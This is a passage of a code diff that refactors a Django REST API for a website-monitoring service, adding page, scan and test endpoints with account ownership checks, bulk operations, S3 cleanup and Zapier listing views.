num_failed = 0 + failed = [] + this_status = True + + # looping through each "page_url" + for url in page_urls: + + # clean url + if url.endswith('/'): + url = url.rstrip('/') + + # check for duplicates + if not Page.objects.filter(page_url=url, user=user).exists(): + + # adding pages + page = Page.objects.create( + site=site, + page_url=url, + user=user, + tags=tags, + account=account + ) - # get lighthouse_delta if exists - try: - lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')} - except: - lighthouse_delta = None + # deciding on scan + if no_scan == False: + + # create initial scan + scan = Scan.objects.create( + site=site, + page=page, + type=settings.TYPES, + configs=configs + ) + + # update page with new scan data + page.info["latest_scan"]["id"] = str(scan.id) + page.info["latest_scan"]["time_created"] = str(scan.time_created) + page.save() + + # run scanner + scan_page_bg.delay(scan_id=scan.id, configs=configs) - # get lighthouse_delta if exists - try: - yellowlab_delta = {"scores": test.yellowlab_delta['scores']} - except: - yellowlab_delta = None + # update info + succeeded.append(url) + num_succeeded = num_succeeded + 1 + else: + # update info + this_status = False + failed.append(url) + num_failed = num_failed + 1 + + # formatting response data = { - "id": str(test.id), - "site": str(test.site.id), - "tags": test.tags, - "type": test.type, - "time_created": str(test.time_created), - "time_completed": str(test.time_completed), - "pre_scan": str(test.pre_scan.id), - "post_scan": str(test.post_scan.id), - "score": test.score, - "lighthouse_delta": lighthouse_delta, - "yellowlab_delta": yellowlab_delta, - "images_delta": images_delta, + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, } - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + # record successful API call + record_api_call(request, data, '201') + + # decide on response type + if http_response: + print('requested http response') + # returning HTTP Response + response = Response(data, status=status.HTTP_201_CREATED) + return response + + # return dict response + print('requested data response') + return data + + +def get_pages(request: object) -> object: + """ + Get one or more `Pages` from either + "page_id" or "site_id" + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + # get request data + site_id = request.query_params.get('site_id') + page_id = request.query_params.get('page_id') + # get user and account + user = request.user + account = Member.objects.get(user=user).account + # check for params + if page_id is None and site_id is None: + data = {'reason': 'must provide a Site or Page id'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) -def delete_test(request, id): - try: - test = Test.objects.get(id=id) - except: - data = {'reason': 'cannot find a Test with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + # check account and resource + check_data = check_account_and_resource( + request=request, resource='page', site_id=site_id, page_id=page_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # getting single page + if page_id != None: - site = test.site + # get page + page = Page.objects.get(id=page_id) + + # serialize and return + serializer_context = {'request': request,} + serialized = PageSerializer(page, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + # get site and assocaited pages + site = Site.objects.get(id=site_id) + pages = Page.objects.filter(site=site).order_by('-time_created') + + # serialize and return + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(pages, request) + serializer_context = {'request': request,} + serialized = PageSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def get_page(request: object, id: str) -> object: + """ + Get single `Page` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account user = request.user account = Member.objects.get(user=user).account - if site.account != account: - data = {'reason': 'delete Tests of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - test.delete() + # check account and resource + check_data = check_account_and_resource(request=request, + page_id=id, resource='page' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) - data = {'message': 'Test has been deleted',} + # get page if checks passed + page = Page.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = PageSerializer(page, context=serializer_context) + data = serialized.data record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + return Response(data, status=status.HTTP_200_OK) + + + + +def delete_page(request: object=None, id: str=None, account: object=None) -> object: + """ + Deletes the `Page` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account info + if request: + account = Member.objects.get(user=request.user).account + user = request.user + + if not request: + user = account.user + + # check account and resource + check_data = check_account_and_resource(user=user, page_id=id, resource='page') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + print(data) + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get page by id + page = Page.objects.get(id=id) + + # remove s3 objects + delete_page_s3_bg.delay(page_id=id, site_id=page.site.id) + + # remove any schedules and associated tasks + delete_tasks_and_schedules(resource_id=str(page.id), scope='page', account=account) + + # remove any associated Issues + Issue.objects.filter(affected__icontains=str(id)).delete() + + # remove page + page.delete() + + # format and return + data = {'message': 'Page has been deleted',} + if request: + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + return data + + + +def delete_many_pages(request: object) -> object: + """ + Deletes one or more `Pages` associated + with the passed "request.ids" + Expcets: { + 'request' : object, + } + + Returns -> HTTP Response object + """ -def delete_many_tests(request): + # get request data ids = request.data.get('ids') + + # get user and account user = request.user account = Member.objects.get(user=user).account + # check for ids if ids is not None: + + # setting defaults count = len(ids) num_succeeded = 0 succeeded = [] @@ -578,29 +1342,44 @@ def delete_many_tests(request): user = request.user this_status = True + # loop through passed ids for id in ids: + + # trying to delete page try: - test = Test.objects.get(id=id) - if test.site.account == account: - test.delete() + page = Page.objects.get(id=id) + if page.account == account: + + # delete page and all assocaited resourses + data = delete_page(id=id, account=page.account) + if data.get('reason'): + raise Exception + + # add to success attempts num_succeeded += 1 succeeded.append(str(id)) - except: + except Exception as e: + # add to failed attempts + print(e) num_failed += 1 failed.append(str(id)) this_status = False + # format data data = { - 'status': this_status, + 'success': this_status, 'num_succeeded': num_succeeded, 'succeeded': succeeded, 'num_failed': num_failed, 'failed': failed, } + + # returning response record_api_call(request, data, '200') response = Response(data, status=status.HTTP_200_OK) return response + # returning error data = { 'reason': 'you must provide an array of id\'s' } @@ -611,155 +1390,383 @@ def delete_many_tests(request): +def get_pages_zapier(request: object) -> object: + """ + Get all `Pages` associated with user's Account. -def create_scan(request, delay=False): + Expects: { + 'request': object + } - user = request.user + Returns -> HTTP Response object + """ + + # get request data + account = Member.objects.get(user=request.user).account + site_id = request.query_params.get('site_id') + pages = None + + # deciding on scope + resource = 'page' + + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource, site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get all site associated pages + if site_id: + pages = Page.objects.filter( + account=account, + site__id=site_id, + ).order_by('-time_created') + + # get all account assocoiated pages + if pages is None: + pages = Page.objects.filter( + account=account, + ).order_by('-time_created') + + # build response data + data = [] + + for page in pages: + data.append({ + 'id' : str(page.id), + 'page_url' : str(page.page_url), + 'site' : str(page.site.id), + 'site_url' : str(page.site.site_url), + 'time_created' : str(page.time_created), + 'tags' : page.tags, + 'info' : page.info, + }) + + # serialize and return + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +### ------ Begin Scan Services ------ ### + + + + +def create_scan(request: object=None, delay: bool=False, **kwargs) -> object: + """ + Create one or more `Scans` depanding on + `Page` or `Site` scope + + Expects: { + 'request': object, + 'delay': bool + } + + Returns -> dict or HTTP Response object + """ + + # get request data + if request is not None: + site_id = request.data.get('site_id', '') + page_id = request.data.get('page_id', '') + configs = request.data.get('configs', None) + types = request.data.get('type', settings.TYPES) + tags = request.data.get('tags') + user = request.user + + # getting kwargs data + if request is None: + site_id = kwargs.get('site_id', '') + page_id = kwargs.get('page_id', '') + configs = kwargs.get('configs', None) + types = kwargs.get('type', settings.TYPES) + tags = kwargs.get('tags') + user_id = kwargs.get('user_id') + user = User.objects.get(id=user_id) + + # getting account account = Member.objects.get(user=user).account - site_id = request.data.get('site_id', None) - configs = request.data.get('configs', None) - types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) - tags = request.data.get('tags', None) + # updating configs if None: + configs = account.configs if configs == None else configs + + # checking args + site_id = '' if site_id is None else site_id + page_id = '' if page_id is None else page_id + site_id = site_id if len(str(site_id)) > 0 else None + page_id = page_id if len(str(page_id)) > 0 else None + + # verifying types if len(types) == 0: - types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] - - try: - site = Site.objects.get(id=site_id) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - account_is_active = check_account(request) - if not account_is_active: - data = {'reason': 'account not funded',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - - if site.account != account: - data = {'reason': 'create a Scan of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - - if not configs: - configs = { - 'window_size': '1920,1080', - 'interval': 5, - 'driver': 'selenium', - 'device': 'desktop', - 'mask_ids': None, - 'min_wait_time': 10, - 'max_wait_time': 60, - 'timeout': 300, - 'disable_animations': False - } + types = settings.TYPES - # creating scan obj - created_scan = Scan.objects.create( - site=site, - tags=tags, - type=types, - configs=configs, + # deciding on scope + resource = 'site' if site_id else 'page' + + # check account and resource for site or page + check_data = check_account_and_resource( + user=user, resource=resource, page_id=page_id, site_id=site_id ) + if not check_data['allowed']: + data = { + 'reason': check_data['error'], + 'success': False, + 'code': check_data['code'], + 'status': check_data['status'] + } + if request is not None: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get site or page + if site_id is not None: + site = Site.objects.get(id=site_id) + if page_id is not None: + page = Page.objects.get(id=page_id) + + # setting pages to loop through + if site_id is not None and page_id is None: + pages = Page.objects.filter(site=site) + if site_id is None and page_id is not None: + pages = [page,] - if delay == True: + # setting default + created_scans = [] - # running scans in selenium mode + # looping through each page + for p in pages: + + # check for account usage + check_data = check_account_and_resource( + user=user, action='add', resource='scan' + ) + if not check_data['allowed']: + data = { + 'reason': check_data['error'], + 'success': False, + 'code': check_data['code'], + 'status': check_data['status'] + } + if request is not None: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # increment account.usage.scans + account.usage['scans'] += 1 + account.save() + + # creating scan obj + created_scan = Scan.objects.create( + site=p.site, + page=p, + tags=tags, + type=types, + configs=configs, + ) + + # adding scan to array + created_scans.append(str(created_scan.id)) + message = 'Scans are being created in the background' + + # updating latest_scan info for page + p.info['latest_scan']['id'] = str(created_scan.id) + p.info['latest_scan']['time_created'] = str(timezone.now()) + p.info['latest_scan']['time_completed'] = None + p.info['latest_scan']['score'] = None + p.info['latest_scan']['score'] = None + p.save() + + # updating latest_scan info for site + p.site.info['latest_scan']['id'] = str(created_scan.id) + p.site.info['latest_scan']['time_created'] = str(timezone.now()) + p.site.info['latest_scan']['time_completed'] = None + p.site.save() + + # running scans components in parallel if 'html' in types or 'logs' in types or 'full' in types: - print('running html & logs') run_html_and_logs_bg.delay(scan_id=created_scan.id) if 'lighthouse' in types or 'full' in types: - print('running lighthouse') run_lighthouse_bg.delay(scan_id=created_scan.id) if 'yellowlab' in types or 'full' in types: - print('running yellowlab') run_yellowlab_bg.delay(scan_id=created_scan.id) if 'vrt' in types or 'full' in types: - print('running vrt') run_vrt_bg.delay(scan_id=created_scan.id) - - - data = { - 'status': True, - 'message': 'scan is being created in the background', - 'id': str(created_scan.id), - } + + # returning dynaminc response + data = { + 'success': True, + 'message': message, + 'ids': created_scans, + } + if request is not None: record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) - else: - updated_scan = S(scan=created_scan, configs=configs).first_scan() - serializer_context = {'request': request,} - serialized = ScanSerializer(updated_scan, context=serializer_context) - data = serialized.data - record_api_call(request, data, '201') - response = Response(data, status=status.HTTP_201_CREATED) - return response + return data +def create_many_scans(request: object) -> object: + """ + Bulk creates `Scans` for each requested `Page`. + Either scoped for many `Pages` or many `Sites`. -def get_scans(request): + Expcets: { + 'request' : object, + } + + Returns -> HTTP Response object + """ + # get request data + site_ids = request.data.get('site_ids') + page_ids = request.data.get('page_ids') + configs = request.data.get('configs', None) + types = request.data.get('type', settings.TYPES) + tags = request.data.get('tags') user = request.user account = Member.objects.get(user=user).account + + # updating configs if None: + configs = account.configs if configs == None else configs + + # setting defaults + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + this_status = True + + # scoped for sites + if site_ids: + for id in site_ids: + data = { + 'site_id': str(id), + 'configs': configs, + 'type': types, + 'tags': tags, + 'user_id': str(user.id) + } + try: + # create scan + res = create_scan(delay=True, **data) + if res['success']: + num_succeeded += 1 + succeeded.append(str(id)) + else: + num_failed += 1 + this_status = False + failed.append(str(id)) + print(res['message']) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # scoped for pages + if page_ids: + for id in page_ids: + data = { + 'page_id': str(id), + 'configs': configs, + 'type': types, + 'tags': tags, + 'user_id': str(user.id) + } + try: + # create scan + res = create_scan(delay=True, **data) + if res['success']: + num_succeeded += 1 + succeeded.append(str(id)) + else: + num_failed += 1 + this_status = False + failed.append(str(id)) + print(res['message']) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # format and return + data = { + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '201') + return Response(data, status=status.HTTP_201_CREATED) + + + + +def get_scans(request: object) -> object: + """ + Get one or more `Scans`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data scan_id = request.query_params.get('scan_id') - site_id = request.query_params.get('site_id') - time_begin = request.query_params.get('time_begin') - time_end = request.query_params.get('time_end') + page_id = request.query_params.get('page_id') lean = request.query_params.get('lean') + user = request.user + account = Member.objects.get(user=user).account + + # deciding on scope + resource = 'page' if page_id else 'scan' + + # check account and resource + check_data = check_account_and_resource( + user=user, resource=resource, page_id=page_id, scan_id=scan_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + # get single scan if scan_id != None: - try: - scan = Scan.objects.get(id=scan_id) - except: - data = {'reason': 'cannot find a Scan with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if scan.site.account != account: - data = {'reason': 'retrieve Scans of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + + # get scan + scan = Scan.objects.get(id=scan_id) + # serialize and return serializer_context = {'request': request,} serialized = ScanSerializer(scan, context=serializer_context) data = serialized.data record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) - - try: - site = Site.objects.get(id=site_id) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - - if site.account != account: - data = {'reason': 'retrieve Scans of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - - - if time_begin == None and site != None and time_end != None: - scans = Scan.objects.filter(site=site).filter(time_created__lte=time_end).order_by('-time_created') - elif time_end == None and site != None and time_begin != None: - scans = Scan.objects.filter(site=site).filter(time_created__gte=time_begin).order_by('-time_created') - elif time_end == None and time_begin == None and site != None: - scans = Scan.objects.filter(site=site).order_by('-time_created') - elif time_end != None and time_begin != None and site != None: - scans = Scan.objects.filter(site=site).filter(time_created__gte=time_begin).filter(time_created__lte=time_end).order_by('-time_created') - + # get page scoped scans + page = Page.objects.get(id=page_id) + scans = Scan.objects.filter(page=page).order_by('-time_created') + # serialize and return paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(scans, request) serializer_context = {'request': request,} serialized = ScanSerializer(result_page, many=True, context=serializer_context) - if lean is not None: + if str(lean).lower() == 'true': serialized = SmallScanSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') @@ -768,34 +1775,79 @@ def get_scans(request): -def get_scan_lean(request, id): +def get_scan(request: object, id: str) -> object: + """ + Get single `Scan` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account user = request.user account = Member.objects.get(user=user).account - try: - scan = Scan.objects.get(id=id) - except: - data = {'reason': 'cannot find a Scan with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + # check account and resource + check_data = check_account_and_resource(request=request, + scan_id=id, resource='scan' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get scan if checks passed + scan = Scan.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = ScanSerializer(scan, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + - if scan.site.account != account: - data = {'reason': 'retrieve Scans of a Site you do not own'} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + +def get_scan_lean(request: object, id: str) -> object: + """ + Get a single `Scan` and only return scores & timestamps + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource( + user=user, resource='scan', scan_id=id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get scan if checks passed + scan = Scan.objects.get(id=id) # get lighthouse scores if exists - try: - lighthouse = {"scores": scan.lighthouse.get('scores')} - except: - lighthouse = None + lighthouse = {"scores": scan.lighthouse.get('scores')} # get yellowlab scores if exists - try: - yellowlab = {"scores": scan.yellowlab.get('scores')} - except: - yellowlab = None + yellowlab = {"scores": scan.yellowlab.get('scores')} + # format data data = { "id": str(scan.id), "site": str(scan.site.id), @@ -807,6 +1859,7 @@ def get_scan_lean(request, id): "yellowlab": yellowlab, } + # return response record_api_call(request, data, '200') response = Response(data, status=status.HTTP_200_OK) return response @@ -814,39 +1867,85 @@ def get_scan_lean(request, id): -def delete_scan(request, id): - try: - scan = Scan.objects.get(id=id) - except Exception as e: - data = {'reason': 'cannot find a Scan with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - site = scan.site - user = request.user - account = Member.objects.get(user=user).account +def delete_scan(request: object=None, id: str=None, account: object=None) -> object: + """ + Deletes the `Scan` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str, + 'account' : object + } + + Returns -> HTTP Response object + """ + # get user and account info + if request: + account = Member.objects.get(user=request.user).account + user = request.user + + if not request: + user = account.user + + # check account and resource + check_data = check_account_and_resource(user=user, scan_id=id, resource='scan') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get scan if checks passes + scan = Scan.objects.get(id=id) + + # remove s3 objects + delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id) - if site.account != account: - data = {'reason': 'delete Scans of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # update page and site + update_site_and_page_info.delay( + resource='scan', + page_id=str(scan.page.id) + ) + # delete scan scan.delete() + # return response data = {'message': 'Scan has been deleted',} - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + if request: + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + return data -def delete_many_scans(request): - ids = request.data.get('ids') - user = request.user - account = Member.objects.get(user=user).account - if ids is not None: +def delete_many_scans(request: object) -> object: + """ + Deletes one or more `Scans` associated + with the passed "request.ids" + + Expcets: { + 'request' : object, + } + + Returns -> HTTP Response object + """ + + # get request data + ids = request.data.get('ids') + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check for ids + if ids is not None: + + # setting defaults count = len(ids) num_succeeded = 0 succeeded = [] @@ -855,30 +1954,43 @@ def delete_many_scans(request): user = request.user this_status = True + # loop through passed ids for id in ids: + + # trying to delete scan try: scan = Scan.objects.get(id=id) if scan.site.account == account: + delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id) + update_site_and_page_info.delay( + resource='scan', + page_id=str(scan.page.id) + ) scan.delete() + # add to success attempts num_succeeded += 1 succeeded.append(str(id)) - except: + except Exception as e: + # add to failed attempts num_failed += 1 failed.append(str(id)) this_status = False + # format data data = { - 'status': this_status, + 'success': this_status, 'num_succeeded': num_succeeded, 'succeeded': succeeded, 'num_failed': num_failed, 'failed': failed, } + # returning response record_api_call(request, data, '200') response = Response(data, status=status.HTTP_200_OK) return response + # return error data = { 'reason': 'you must provide an array of id\'s' } @@ -889,257 +2001,475 @@ def delete_many_scans(request): +def get_scans_zapier(request: object) -> object: + """ + Get all `Scans` associated with user's Account. -def create_or_update_schedule(request): - user = request.user + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + account = Member.objects.get(user=request.user).account + page_id = request.query_params.get('page_id') + site_id = request.query_params.get('site_id') + scans = None + + # deciding on scope + resource = 'scan' + + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource, page_id=page_id, + site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get all page associated scans + if page_id: + scans = Scan.objects.filter( + page__account=account, + page__id=page_id, + ).exclude( + time_completed=None, + ).order_by('-time_created') + + # get all site associated scans + if site_id: + scans = Scan.objects.filter( + site__account=account, + site__id=site_id, + ).exclude( + time_completed=None, + ).order_by('-time_created') + + # get all account assocoiated tests + if scans is None: + scans = Scan.objects.filter( + site__account=account, + ).exclude( + time_completed=None, + ).order_by('-time_created') + + # build response data + data = [] + + for scan in scans: + data.append({ + 'id' : str(scan.id), + 'page' : str(scan.page.id), + 'site' : str(scan.site.id), + 'time_created' : str(scan.time_created), + 'time_completed' : str(scan.time_completed), + 'type' : scan.type, + 'html' : scan.html, + 'logs' : scan.logs, + 'images' : scan.images, + 'lighthouse' : scan.lighthouse, + 'yellowlab' : scan.yellowlab, + 'configs' : scan.configs, + }) + + # serialize and return + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +### ------ Begin Test Services ------ ### + + + + +def create_test(request: object=None, delay: bool=False, **kwargs) -> object: + """ + Create one or more `Tests` depanding on + `Page` or `Site` scope + + Expects: { + 'request': object, + 'delay': bool + } + + Returns -> dict or HTTP Response object + """ + + # get data from request + if request is not None: + configs = request.data.get('configs', None) + threshold = request.data.get('threshold', settings.TEST_THRESHOLD) + pre_scan_id = request.data.get('pre_scan') + post_scan_id = request.data.get('post_scan') + index = request.data.get('index') + test_type = request.data.get('type', settings.TYPES) + tags = request.data.get('tags') + pre_scan = None + post_scan = None + site_id = request.data.get('site_id', '') + page_id = request.data.get('page_id', '') + user = request.user + + # get data from kwargs + if request is None: + configs = kwargs.get('configs', None) + threshold = kwargs.get('threshold', settings.TEST_THRESHOLD) + pre_scan_id = kwargs.get('pre_scan') + post_scan_id = kwargs.get('post_scan') + index = kwargs.get('index') + test_type = kwargs.get('type', settings.TYPES) + tags = kwargs.get('tags') + pre_scan = None + post_scan = None + site_id = kwargs.get('site_id', '') + page_id = kwargs.get('page_id', '') + user_id = kwargs.get('user_id') + user = User.objects.get(id=user_id) + + # get account account = Member.objects.get(user=user).account - account_is_active = check_account(request) - if not account_is_active: - data = {'reason': 'account not funded',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - - try: - site = Site.objects.get(id=request.data.get('site_id')) - if site.account != account and site.account != None: - data = {'reason': 'create a Schedule of a Site you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - except: - site = None - try: - schedule = Schedule.objects.get(id=request.data.get('schedule_id')) - if schedule.account != account and schedule.account != None: - data = {'reason': 'update a Schedule you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - except: - schedule = None - - - schedule_status = request.data.get('status', None) - begin_date_raw = request.data.get('begin_date', None) - time = request.data.get('time', None) - timezone = request.data.get('timezone', None) - freq = request.data.get('frequency', None) - task_type = request.data.get('task_type', None) - test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) - scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) - configs = request.data.get('configs', None) - schedule_id = request.data.get('schedule_id', None) - case_id = request.data.get('case_id', None) - updates = request.data.get('updates', None) - - - if configs is None: - configs = { - 'window_size': '1920,1080', - 'driver': 'selenium', - 'device': 'desktop', - 'mask_ids': None, - 'interval': 5, - 'min_wait_time': 10, - 'max_wait_time': 30, - 'timeout': 300, - 'disable_animations': False + # updating configs if None: + configs = account.configs if configs == None else configs + + # verifying test_type + if len(test_type) == 0: + test_type = settings.TYPES + + # checking args + site_id = '' if site_id is None else site_id + page_id = '' if page_id is None else page_id + site_id = site_id if len(str(site_id)) > 0 else None + page_id = page_id if len(str(page_id)) > 0 else None + + # deciding on scope + resource = 'site' if site_id else 'page' + + # check account and resource for page or site + check_data = check_account_and_resource( + user=user, resource=resource, page_id=page_id, site_id=site_id + ) + if not check_data['allowed']: + data = { + 'reason': check_data['error'], + 'success': False, + 'code': check_data['code'], + 'status': check_data['status'] } + if request is not None: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data - if schedule_status != None and schedule != None: - task = PeriodicTask.objects.get(id=schedule.periodic_task_id) - if task.enabled == True: - task.enabled = False - schedule.status = 'Paused' - else: - task.enabled = True - schedule.status = 'Active' - task.save() - schedule.save() - # retriving object again to avoid cacheing issues - schedule_new = Schedule.objects.get(id=request.data.get('schedule_id')) - - # if not status change, updating data - else: - if Automation.objects.filter(schedule=schedule).exists(): - automation = Automation.objects.filter(schedule=schedule)[0] - auto_id = str(automation.id) - else: - auto_id = None - - if task_type == 'test': - task = 'api.tasks.create_test_bg' - arguments = { - 'site_id': str(site.id), - 'configs': configs, - 'type': test_type, - 'automation_id': auto_id - } + # deciding on scope + if site_id is not None: + site = Site.objects.get(id=site_id) + if page_id is not None: + page = Page.objects.get(id=page_id) - if task_type == 'scan': - task = 'api.tasks.create_scan_bg' - arguments = { - 'site_id': str(site.id), - 'configs': configs, - 'type': scan_type, - 'automation_id': auto_id - } + # building pages list + if site_id is not None and page_id is None: + pages = Page.objects.filter(site=site) + if site_id is None and page_id is not None: + pages = [page] - if task_type == 'report': - task = 'api.tasks.create_report_bg' - arguments = { - 'site_id': str(site.id), - 'automation_id': auto_id - } + # setting default + created_tests = [] + # looping through pages + for p in pages: - if task_type == 'testcase': - task = 'api.tasks.create_testcase_bg' - arguments = { - 'site_id': str(site.id), - 'case_id': str(case_id), - 'updates': updates, - 'configs': configs, - 'automation_id': auto_id, + # check for account usage + check_data = check_account_and_resource( + user=user, action='add', resource='test' + ) + if not check_data['allowed']: + data = { + 'reason': check_data['error'], + 'success': False, + 'code': check_data['code'], + 'status': check_data['status'] } - - format_str = '%m/%d/%Y' + if request is not None: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # checking for scan completion + if not Scan.objects.filter(page=p).exists(): + data = {'reason': 'Page not yet onboarded', 'success': False,} + print(data) + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) - try: - begin_date = datetime.strptime(begin_date_raw, format_str) - except: - begin_date = datetime.now() + # verifying pre_ and post_ scans exists + if pre_scan_id: + try: + pre_scan = Scan.objects.get(id=pre_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - pre_scan', 'success': False,} + print(data) + if request is not None: + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + return data + if post_scan_id: + try: + post_scan = Scan.objects.get(id=post_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - post_scan', 'success': False,} + print(data) + if request is not None: + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + return data + + # grabbing most recent Scan + if pre_scan_id is None: + pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0] + + # verifying pre_ and post_ scans completion + if pre_scan: + if pre_scan.time_completed == None: + data = {'reason': 'pre_scan still running', 'success': False,} + print(data) + if request is not None: + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + return data + if post_scan: + if post_scan.time_completed == None: + data = {'reason': 'post_scan still running', 'success': False,} + print(data) + if request is not None: + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + return data + + # creating test object + test = Test.objects.create( + site=p.site, + page=p, + type=test_type, + tags=tags, + threshold=float(threshold), + status='working', + ) - num_day_of_week = begin_date.weekday() - day = begin_date.strftime("%d") - minute = time[3:5] - hour = time[0:2] + # updating latest_test info for page + p.info['latest_test']['id'] = str(test.id) + p.info['latest_test']['time_created'] = str(timezone.now()) + p.info['latest_test']['time_completed'] = None + p.info['latest_test']['score'] = None + p.info['latest_test']['status'] = 'working' + p.save() + + # updating latest_test info for site + p.site.info['latest_test']['id'] = str(test.id) + p.site.info['latest_test']['time_created'] = str(timezone.now()) + p.site.info['latest_test']['time_completed'] = None + p.site.info['latest_test']['score'] = None + p.site.info['latest_test']['status'] = 'working' + p.site.save() + + # add test.id to list + created_tests.append(str(test.id)) + + # update account.usage.tests + account.usage['tests'] += 1 + account.save() + + # running test 